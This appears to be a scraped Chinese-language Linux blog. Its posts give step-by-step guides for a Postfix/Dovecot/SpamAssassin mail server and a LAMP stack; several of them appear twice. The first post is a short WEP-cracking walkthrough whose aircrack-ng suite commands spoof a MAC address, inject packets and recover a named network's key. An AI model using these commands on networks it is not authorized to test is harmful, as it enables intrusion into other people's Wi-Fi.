How to Crack WEP using Backtrack 3
用借的
基本上呢 很簡單
開一個shell
找你的network interface 改成監視mode 以及換假的mac address
airmon-ng
airmon-ng stop ath0
ifconfig wifi0 down
macchanger --mac 00:11:22:33:44:55 wifi0
airmon-ng start wifi0
監視
airodump-ng ath0
airodump-ng –c 11 –w wep123 - - bssid 00:13:49:36:87:34 ath0
開第二個shell 這部分要做package injection
aireplay-ng -1 0 –a 00:13:49:36:87:34 –h 00:11:22:33:44:55 –e jo3c ath0
aireplay-ng -3 –b 00:13:49:36:87:34 –h 00:11:22:33:44:55 ath0
開第三個shell 這部分叫做 解碼
aircrack-ng –n 64 –b 00:13:49:36:87:34 wep123-01.cap
2008年7月8日 星期二
2008年5月2日 星期五
如何在Ubuntu Hardy Heron 8.04 架Mail Server + SpamAssassin
如何在Ubuntu Hardy Heron 8.04 架Mail Server + SpamAssassin
How to Setup Ubuntu Hardy Heron Mail Server Setup with Postfix + Dovecot + SASL + Squirrel Mail + SpamAssassin
安裝 Postfix
$ sudo aptitude install postfix postfix-tls libsasl2 sasl2-bin libsasl2-modules popa3d
* Choose Internet Site in Postfix Configuration
$ sudo /etc/init.d/postfix restart
安裝 Dovecot
$ sudo aptitude install dovecot-imapd dovecot-pop3d dovecot-common
$ sudo nano /etc/dovecot/dovecot.conf
找第 24 行
改
# specify protocols = imap imaps pop3 pop3s
成
protocols = pop3 imap
找第50行
改
#disable_plaintext_auth = yes
成
disable_plaintext_auth = no
找第 627行
改
# pop3_uidl_format = %08Xu%08Xv
成
pop3_uidl_format = %08Xu%08Xv
建立新的使用者
$ sudo adduser alice
重新啟動
$ sudo /etc/init.d/dovecot restart
修改SASL認證
Configure SASL Authentication with TLS
$ sudo nano /etc/postfix/main.cf
加入這些行
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes
smtpd_sasl_local_domain = yourdomain.com
smtpd_recipient_restrictions = permit_mynetworks,permit_sasl_authenticated,reject_unauth_destination
smtpd_sasl_security_options = noanonymous
$ sudo rm -r /var/run/saslauthd/
$ sudo mkdir -p /var/spool/postfix/var/run/saslauthd
$ sudo ln -s /var/spool/postfix/var/run/saslauthd /var/run
$ sudo chgrp sasl /var/spool/postfix/var/run/saslauthd
$ sudo adduser postfix sasl
$ sudo nano /etc/dovecot/dovecot.conf
找第767行
改
auth default {
成
auth default2 {
在 auth default2{ 前加入以下這些設定
auth default {
mechanisms = plain login
passdb pam {
}
userdb passwd {
}
socket listen {
client {
path = /var/spool/postfix/private/auth
mode = 0660
user = postfix
group = postfix
}
}
}
重開
sudo /etc/init.d/saslauthd restart
sudo /etc/init.d/postfix restart
sudo /etc/init.d/dovecot restart
測試 EVOLUTION 信箱軟體
安裝Squirrel 網路 Mail
先裝 apache2 + php5
$ sudo apt-get install apache2
$ sudo apt-get install libapache2-mod-php5 php5-cli php5-common php5-cgi
$ sudo apt-get install squirrelmail
$ sudo /usr/sbin/squirrelmail-configure
$sudo nano /etc/apache2/apache2.conf
加入以下設定
Include /etc/squirrelmail/apache.conf
$ sudo /etc/init.d/apache2 restart
http://yourdomain.com/squirrelmail
Create a separate local user and login as a new user.
Mail Server Logs
$ sudo tail -f /var/log/mail.log
$ sudo nano /var/log/mail.log
reference: http://www.debianadmin.com/debian-mail-server-setup-with-postfix-dovecot-sasl-squirrel-mail.html
SpamAssassin
$ sudo sudo apt-get install spamassassin spamc
$ sudo groupadd -g 5001 spamd
$ sudo useradd -u 5001 -g spamd -s /sbin/nologin -d /var/lib/spamassassin spamd
$ sudo mkdir /var/lib/spamassassin
$ sudo chown spamd:spamd /var/lib/spamassassin
$ sudo sudo nano /etc/default/spamassassin
ENABLED=1
SAHOME="/var/lib/spamassassin/"
OPTIONS="--create-prefs --max-children 5 --username spamd --helper-home-dir ${SAHOME} -s ${SAHOME}spamd.log"
PIDFILE="${SAHOME}spamd.pid"
$ sudo nano /etc/spamassassin/local.cf
rewrite_header Subject [***** SPAM _SCORE_ *****]
required_score 2.0
#to be able to use _SCORE_ we need report_safe set to 0
#If this option is set to 0, incoming spam is only modified by adding some "X-Spam-" headers and no changes will be made to the body.
report_safe 0
# Enable the Bayes system
use_bayes 1
use_bayes_rules 1
# Enable Bayes auto-learning
bayes_auto_learn 1
# Enable or disable network checks
skip_rbl_checks 0
use_razor2 0
use_dcc 0
use_pyzor 0
$ sudo /etc/init.d/spamassassin start
$ sudo nano /etc/postfix/master.cf
*
change
smtp inet n - - - - smtpd
*
to
smtp inet n - - - - smtpd -o content_filter=spamassassin
spamassassin unix - n n - - pipe
user=spamd argv=/usr/bin/spamc -f -e
/usr/sbin/sendmail -oi -f ${sender} ${recipient}
$ sudo /etc/init.d/postfix reload
How to Setup Ubuntu Hardy Heron Mail Server Setup with Postfix + Dovecot + SASL + Squirrel Mail + SpamAssassin
安裝 Postfix
$ sudo aptitude install postfix postfix-tls libsasl2 sasl2-bin libsasl2-modules popa3d
* Choose Internet Site in Postfix Configuration
$ sudo /etc/init.d/postfix restart
安裝 Dovecot
$ sudo aptitude install dovecot-imapd dovecot-pop3d dovecot-common
$ sudo nano /etc/dovecot/dovecot.conf
找第 24 行
改
# specify protocols = imap imaps pop3 pop3s
成
protocols = pop3 imap
找第50行
改
#disable_plaintext_auth = yes
成
disable_plaintext_auth = no
找第 627行
改
# pop3_uidl_format = %08Xu%08Xv
成
pop3_uidl_format = %08Xu%08Xv
建立新的使用者
$ sudo adduser alice
重新啟動
$ sudo /etc/init.d/dovecot restart
修改SASL認證
Configure SASL Authentication with TLS
$ sudo nano /etc/postfix/main.cf
加入這些行
smtpd_sasl_type = dovecot
smtpd_sasl_path = private/auth
smtpd_sasl_auth_enable = yes
smtpd_sasl_local_domain = yourdomain.com
smtpd_recipient_restrictions = permit_mynetworks,permit_sasl_authenticated,reject_unauth_destination
smtpd_sasl_security_options = noanonymous
$ sudo rm -r /var/run/saslauthd/
$ sudo mkdir -p /var/spool/postfix/var/run/saslauthd
$ sudo ln -s /var/spool/postfix/var/run/saslauthd /var/run
$ sudo chgrp sasl /var/spool/postfix/var/run/saslauthd
$ sudo adduser postfix sasl
$ sudo nano /etc/dovecot/dovecot.conf
找第767行
改
auth default {
成
auth default2 {
在 auth default2{ 前加入以下這些設定
auth default {
mechanisms = plain login
passdb pam {
}
userdb passwd {
}
socket listen {
client {
path = /var/spool/postfix/private/auth
mode = 0660
user = postfix
group = postfix
}
}
}
重開
sudo /etc/init.d/saslauthd restart
sudo /etc/init.d/postfix restart
sudo /etc/init.d/dovecot restart
測試 EVOLUTION 信箱軟體
安裝Squirrel 網路 Mail
先裝 apache2 + php5
$ sudo apt-get install apache2
$ sudo apt-get install libapache2-mod-php5 php5-cli php5-common php5-cgi
$ sudo apt-get install squirrelmail
$ sudo /usr/sbin/squirrelmail-configure
$sudo nano /etc/apache2/apache2.conf
加入以下設定
Include /etc/squirrelmail/apache.conf
$ sudo /etc/init.d/apache2 restart
http://yourdomain.com/squirrelmail
Create a separate local user and login as a new user.
Mail Server Logs
$ sudo tail -f /var/log/mail.log
$ sudo nano /var/log/mail.log
reference: http://www.debianadmin.com/debian-mail-server-setup-with-postfix-dovecot-sasl-squirrel-mail.html
SpamAssassin
$ sudo sudo apt-get install spamassassin spamc
$ sudo groupadd -g 5001 spamd
$ sudo useradd -u 5001 -g spamd -s /sbin/nologin -d /var/lib/spamassassin spamd
$ sudo mkdir /var/lib/spamassassin
$ sudo chown spamd:spamd /var/lib/spamassassin
$ sudo sudo nano /etc/default/spamassassin
ENABLED=1
SAHOME="/var/lib/spamassassin/"
OPTIONS="--create-prefs --max-children 5 --username spamd --helper-home-dir ${SAHOME} -s ${SAHOME}spamd.log"
PIDFILE="${SAHOME}spamd.pid"
$ sudo nano /etc/spamassassin/local.cf
rewrite_header Subject [***** SPAM _SCORE_ *****]
required_score 2.0
#to be able to use _SCORE_ we need report_safe set to 0
#If this option is set to 0, incoming spam is only modified by adding some "X-Spam-" headers and no changes will be made to the body.
report_safe 0
# Enable the Bayes system
use_bayes 1
use_bayes_rules 1
# Enable Bayes auto-learning
bayes_auto_learn 1
# Enable or disable network checks
skip_rbl_checks 0
use_razor2 0
use_dcc 0
use_pyzor 0
$ sudo /etc/init.d/spamassassin start
$ sudo nano /etc/postfix/master.cf
*
change
smtp inet n - - - - smtpd
*
to
smtp inet n - - - - smtpd -o content_filter=spamassassin
spamassassin unix - n n - - pipe
user=spamd argv=/usr/bin/spamc -f -e
/usr/sbin/sendmail -oi -f ${sender} ${recipient}
$ sudo /etc/init.d/postfix reload
2008年1月25日 星期五
如何在Linux, Ubuntu, Debian下安裝 LAMP Apache 2.2, MySQL 5, PHP 4, SSH
How To install LAMP Apacle MySQL PHP SSH On Ubuntu 7.10 Gusty Gibbon
如何在linux, ubuntu, debian下安裝 apache, mysql, php, ssh
ubuntu apache2 + php5 + mysql5
1. ssh server for remote access
sudo apt-get install ssh
2. database server
sudo apt-get install mysql-server
3. apache http server
sudo apt-get install apache2
4. php for apache http server
sudo apt-get install php5
5. mysql for apache http server
sudo apt-get install libapache2-mod-auth-mysql
sudo apt-get install php5-mysql
remember! reboot your computer afterward!
如何啟動,停止,重新啟動 Mysql, Apache
start, restart, stop apache
sudo /etc/init.d/apache2 restart
start, restart, stop mysql
sudo /etc/init.d/mysql restart
如何在linux, ubuntu, debian下安裝 apache, mysql, php, ssh
ubuntu apache2 + php5 + mysql5
1. ssh server for remote access
sudo apt-get install ssh
2. database server
sudo apt-get install mysql-server
3. apache http server
sudo apt-get install apache2
4. php for apache http server
sudo apt-get install php5
5. mysql for apache http server
sudo apt-get install libapache2-mod-auth-mysql
sudo apt-get install php5-mysql
remember! reboot your computer afterward!
如何啟動,停止,重新啟動 Mysql, Apache
start, restart, stop apache
sudo /etc/init.d/apache2 restart
start, restart, stop mysql
sudo /etc/init.d/mysql restart
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